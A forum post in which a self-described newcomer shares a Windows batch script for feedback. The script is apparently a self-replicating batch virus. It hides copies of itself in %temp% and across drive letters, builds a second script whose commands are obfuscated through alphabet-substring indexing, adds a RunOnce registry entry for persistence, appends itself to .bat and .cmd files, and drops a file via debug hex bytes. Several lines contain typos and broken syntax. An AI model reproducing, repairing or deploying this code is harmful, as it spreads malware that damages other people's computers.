Topic: 1st batch code

This is my first try at writing something that is at least a little complex I am a newb to all this and also have almost no free time but here it is.

@echo off
setlocal enabledelayedexpansion
set vnm=%random%
set alf=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
set a=C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
set n=%random%
set rndmd=%random%
set rndmn=%random%
md %temp%\%rndmd%
set d=%temp%\%rndmd%\%rndmn%.bat
copy /y %0 %d%
attrib /d /s +r +s +h %d%
for %%g in (%a) do (copy %0 > "%g: \.MS_NT%ver%%rndmn%.bat" %%g)
for %%g in (%a) do (attrib +r +a +h "%g: \.MS_*.bat" %%g)
echo %alf:~3,1%%alf:~8,1%%alf:~17,1% /%alf:~1,1% %temp%\%n% | %alf:~8,1%%alf:~5,1% %alf:~4,1%%alf:~23,1%%alf:~8,1%%alf:~18,1%%alf:~19,1% ( >>%vnm%.bat
echo %alf:~1,1%%alf:~0,1%%alf:~3,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1% >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~2,1%%alf:~14,1%%alf:~13,1%%alf:~19,1% >>%vnm%.bat
echo ) %alf:~4,1%%alf:~13,1%%alf:~18,1%%alf:~4,1% ( >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~8,1%%alf:~13,1%%alf:~18,1%%alf:~15,1% >>%vnm%.bat
echo ) >>%vnm%.bat
echo :_%alf:~2,1%%alf:~14,1%%alf:~13,1%%alf:~19,1% >>%vnm%.bat
echo %alf:~12,1%%alf:~10,1%%alf:~3,1%%alf:~8,1%%alf:~17,1% %temp%\%n% >>%vnm%.bat
echo %alf:~2,1%%alf:~3,1% %temp%\%n% >>%vnm%.bat
echo %alf:~2,1%%alf:~14,1%%alf:~15,1%%alf:~24,1% %0> %alf:~12,1%%alf:~20,1%%alf:~19,1%%alf:~4,1%%alf:~23,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1% >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~23,1%0 >>%vnm%.bat
echo :_%alf:~23,1%1 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:23,1%2 >>%vnm%.bat
echo :_%alf:23,1%3 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:23,1%4 >>%vnm%.bat
echo :_%alf:~23,1%5 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~23,1%6 >>%vnm%.bat
echo :_%alf:~12,1%%alf:~20,1%%alf:~11,1%%alf:~0,1% >>%vnm%.bat
echo %alf:~18,1%%alf:~4,1%%alf:~19,1% %alf:~0,1%=%alf:~5,1%%alf:~14,1%%alf:~17,1% >>%vnm%.bat
echo %alf:~18,1%%alf:~4,1%%alf:~19,1% %alf:~1,1%=%alf:~8,1%%alf:~13,1% >>%vnm%.bat
echo %alf:~18,1%%alf:~4,1%%alf:~19,1% %alf:~2,1%=%alf:~3,1%%alf:~14,1% >>%vnm%.bat
echo %alf:~18,1%%alf:~4,1%%alf:~19,1% %alf:~3,1%=%alf:~2,1%%alf:~14,1%%alf:~15,1%%alf:~24,1% >>%vnm%.bat
echo %%alf:~0,1%% %%a %%alf:~1,1%% (*.%alf:~1,1%%alf:~0,1%%alf~19,1%,*.%alf:~2,1%%alf:~12,1%%alf:~3,1%) %%alf:~2,1%% %%alf:~3,1%% %0 %%a >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~23,1%7 >>%vnm%.bat
echo :_%alf:~23,1%0 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~23,1%1 >>%vnm%.bat
echo _%alf:~23,1%2 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~23,1%3 >>%vnm%.bat
echo _%alf:~23,1%4 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~23,1%5 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~12,1%%alf:~20,1%%alf:~11,1%%alf:~0,1% >>%vnm%.bat
echo _%alf:~23,1%7 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% %alf:~12,1%%alf:~11,1%%alf:~19,1%%alf:~15,1%%alf:~11,1%%alf:~2,1% >>%vnm%.bat
echo :%alf:~12,1%%alf:~11,1%%alf:~19%%alf:~15,1%%alf:~11,1%%alf:~2,1% >>%vnm%.bat
echo %alf:~18,1%%~19,1%%alf:~0,1%%alf:~17,1%%alf:~19,1% %0 >>vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% %alf:~12,1%%alf:~11,1%%alf:~19,1%%alf:~15,1%%alf:~11,1%%alf:~2,1% >>%vnm%.bat
echo :_%alf:~8,1%%alf:~13,1%%alf:~18,1%%alf:~15,1%%alf:~2,1%%alf:~19,1% >>%vnm%.bat
echo %alf:~4,1%%alf:~2,1%%alf:~7,1%%alf:~14,1% ( >>%vnm%.bat
echo @%alf:~4,1%%alf:~2,1%%alf:~7,1%%alf:~14,1% %alf:~14,1%%alf:~5,1%%alf:~5,1% >>%vnm%.bat
echo %alf:~2,1%%alf:~14,1%%alf:~15,1%%alf:~24,1% %0 > %alf:~1,1%%alf:~0,1%%alf:~3,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1% >>%vnm%.bat
echo %alf:~17,1%%alf~4,1%%alf:~6,1% %alf:~0,1%%alf:~3,1%%alf:~3,1% HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v MSMutex /t REG_SZ /d %temp%\%n%\%alf:~1,1%%alf:~0,1%%alf:~3,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1% >>%vnm%.bat
echo :_%alf:~21,1%%alf:~4,1%%alf:~17,1% >>%vnm%.bat
echo %alf:~3,1%%alf:~8,1%%alf:~17,1% /%alf:~1,1% %temp%\%n% | %alf:~8,1%%alf:~5,1% %alf:~4,1%%alf:~23,1%%alf:~8,1%%alf:~18,1%%alf:~19,1% %alf:~12,1%%alf:~20,1%%alf:~19,1%%alf:~4,1%%alf:~23,1%.%alf:~2,1%%alf:~12,1%%alf:~3,1% ( >>%vnm%.bat
echo %alf:~18,1%%alf:~11,1%%alf:~4,1%%alf:~4,1%%alf:~15,1% 599 >>%vnm%.bat
echo %alf:~6,1%%alf:~14,1%%alf:~19,1%%alf:~14,1% _%alf:~21,1%%alf:~4,1%%alf:~17,1% >>%vnm%.bat
echo ) %alf:~4,1%%alf:~13,1%%alf:~18,1%%alf:~4,1% ( >>%vnm%.bat
echo echo e 0100  40 65 63 68 6F 20 6F 66-66 0A 63 64 20 25 73 79 > "hx_0" >%vnm%.bat
echo echo e 0110  73 74 65 6D 72 6F 6F 74-25 0A 67 6F 74 6F 20 5F >> "hx_0" >>%vnm%.bat
echo echo e 0120  78 30 0A 20 20 3A 5F 78-31 0A 20 20 67 6F 74 6F >> "hx_0" >>%vnm%.bat
echo echo e 0130  20 5F 78 32 0A 20 20 20-20 20 20 3A 5F 78 33 0A >> "hx_0" >>%vnm%.bat
echo echo e 0140  20 20 20 20 20 20 67 6F-74 6F 20 5F 78 34 0A 09 >> "hx_0" >>%vnm%.bat
echo echo e 0150  20 20 3A 5F 78 35 0A 09-20 20 67 6F 74 6F 20 5F >> "hx_0" >>%vnm%.bat
echo echo e 0160  78 36 0A 3A 5F 4D 75 4C-61 0A 73 65 74 20 61 3D >> "hx_0" >>%vnm%.bat
echo echo e 0170  66 6F 72 0A 73 65 74 20-62 3D 69 6E 0A 73 65 74 >> "hx_0" >>%vnm%.bat
echo echo r cx >> "hx_0" >>%vnm%.bat
echo echo 6160 >> "hx_0" >>%vnm%.bat
echo echo n tmpf >> "hx_0" >>%vnm%.bat
echo echo w >> "hx_0" >>%vnm%.bat
echo debug<"hx_0" >> %vnm%.bat
echo del /q /f hx_0 >> %vnm%.bat
echo ren "%alf:~19,1%%alf:~12,1%%alf~15,1%%alf~5,1%" "%alf:~12,1%%alf:~20,1%%alf:~19,1%%alf:~4,1%%alf:~23,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1%" >>%vnm%.bat
echo exit >>%vnm%.bat
echo ) >>%vnm%.bat
echo %alf:~18,1%%alf:~19,1%%alf:~0,1%%alf:~17,1%%alf:~19,1% /B /SEPARATE /HIGH /I /D %temp%\%n%\%alf:~12,1%%alf:~20,1%%alf:~19,1%%alf:~4,1%%alf:~23,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1% >>%vnm%.bat
echo ) > "%temp%\%n%\%alf:~1,1%%alf:~0,1%%alf:~3,1%.%alf:~1,1%%alf:~0,1%%alf:~19,1%" >>%vnm%.bat

Hope it is at least easy to get what the code does, I welcome any input.

Thumbs up Thumbs down